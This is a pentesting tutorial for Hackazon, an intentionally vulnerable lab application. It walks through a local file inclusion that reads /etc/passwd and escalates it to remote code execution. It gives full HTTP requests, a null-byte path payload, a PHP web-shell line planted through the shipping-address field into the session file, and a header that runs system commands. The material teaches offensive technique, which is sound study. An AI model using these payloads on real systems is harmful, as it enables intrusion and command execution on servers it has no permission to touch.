Published on

Pentesting: Local file inclusion to remote code execution on Hackazon

Authors

Hello World! Getting remote code execution is one of the most fatal vulnerabilities which can be present in an application. Today we are escalating a local file inclusion vulnerability to remote code execution on the Hackazon application. Hackazon is a vulnerable application from Rapid7 and the source code is public at GitHub. In order to follow the guide, you need to have Docker installed.

Docker setup

Pull and run the unofficial Hackazon Docker container mutzel/all-in-one-hackazon.

docker run --rm --name hackazon -p 80:80 -d mutzel/all-in-one-hackazon:postinstall supervisord -n

After the command has finished you should be able to visit the Hackazon application at http://127.0.0.1.

Local file inclusion

After creating a user account and manually browsing the application, we discover the page parameter. This parameter loads different help pages, like rest, setting_up_profile and add_product_to_cart. The normal GET request looks like this:

GET /account/help_articles?page=setting_up_profile HTTP/1.1
Host: 0.0.0.0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://0.0.0.0/account/help_articles
Accept-Encoding: gzip, deflate
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=hdssukmaj18uhgmdr1a0blqs05
Connection: close

When we change the parameter to /etc/passwd%00, the file content is served to us in the response.

LFI cat /etc/passwd

The working payload is a valid path (/etc/passwd) terminated by the URL encoded null byte (%00). So at this point we can read files on the server. For getting remote code execution we need to supply PHP code to a file on the server and read this file with our local file inclusion afterwards. A common method is log file poisoning. There we would use the Apache log files to insert our PHP code. (Common log files used for poisoning are listed here.)

In this case, however, the www-data user is not allowed to read the Apache log files in the Hackazon container, so we need another way.

PHP Session files

By examining the requests in Burp Suite we see the PHPSESSID set in the cookie. PHP's sessions enable web applications to store the state on the application server which is not possible with the stateless HTTP protocol. The Hackazon user sessions are stored in /var/lib/php5/ and the www-data user is the owner of the files and therefore allowed to read them. Session files are named by combining sess_ with the session id, for example sess_06bo0c2qi42srstj4r9qiotiu1.

Let's have a look inside our running container:

Show session files

So now we can use our local file inclusion to read our session file.

GET /account/help_articles?page=/var/lib/php5/sess_06bo0c2qi42srstj4r9qiotiu1%00 HTTP/1.1
Host: 0.0.0.0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=06bo0c2qi42srstj4r9qiotiu1
Connection: close

The session file is shown to us in the response. The interesting part is the user provided data fields that are stored in the session file. In line two we can see the shippingAddress variable.

LFI session file

When placing an order we are able to set our shipping address and the address will be stored in the session file. Now we have our chance to supply PHP code which will be executed by the server. After choosing a random item to order we can set the following PHP code as shipping address:

<?php system($_SERVER['HTTP_EXECUTEME']);?>

This code will look for a EXECUTEME header and insert the value into the system function call. If the EXECUTEME header is not set the request will fail. To set the shipping address we send the following request:

POST /checkout/shipping HTTP/1.1
Host: 0.0.0.0
Content-Length: 239
Pragma: no-cache
Cache-Control: no-cache
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://0.0.0.0
Referer: http://0.0.0.0/checkout/shipping
Accept-Encoding: gzip, deflate
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=06bo0c2qi42srstj4r9qiotiu1
Connection: close

fullName=peter&addressLine1=%3C%3Fphp+system(%24_SERVER%5B'HTTP_EXECUTEME'%5D)%3B%3F%3E&addressLine2=&city=New+York&region=New+York&zip=1234&country_id=EN&phone=&_csrf_checkout_step2=gqSPC7jPH2alzsRIZ9CPhlB1enTEzjsA&address_id=&full_form=1

There is no need to finish the order since now the shippingAddress variable in the session file is set. To execute the system command we use our local file inclusion to read our current session file.

GET /account/help_articles?page=/var/lib/php5/sess_06bo0c2qi42srstj4r9qiotiu1%00 HTTP/1.1
Host: 0.0.0.0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=06bo0c2qi42srstj4r9qiotiu1
EXECUTEME: echo "\n"; ls -lah;date;whoami;cat /etc/issue;uname -a; echo "\n"
Connection: close

In the response we can verify that our commands were executed.

LFI session file

Happy hacking!

References

GitHub: Hackazon

GitHub: PayloadAllTheThings

Documentation: PHP sessions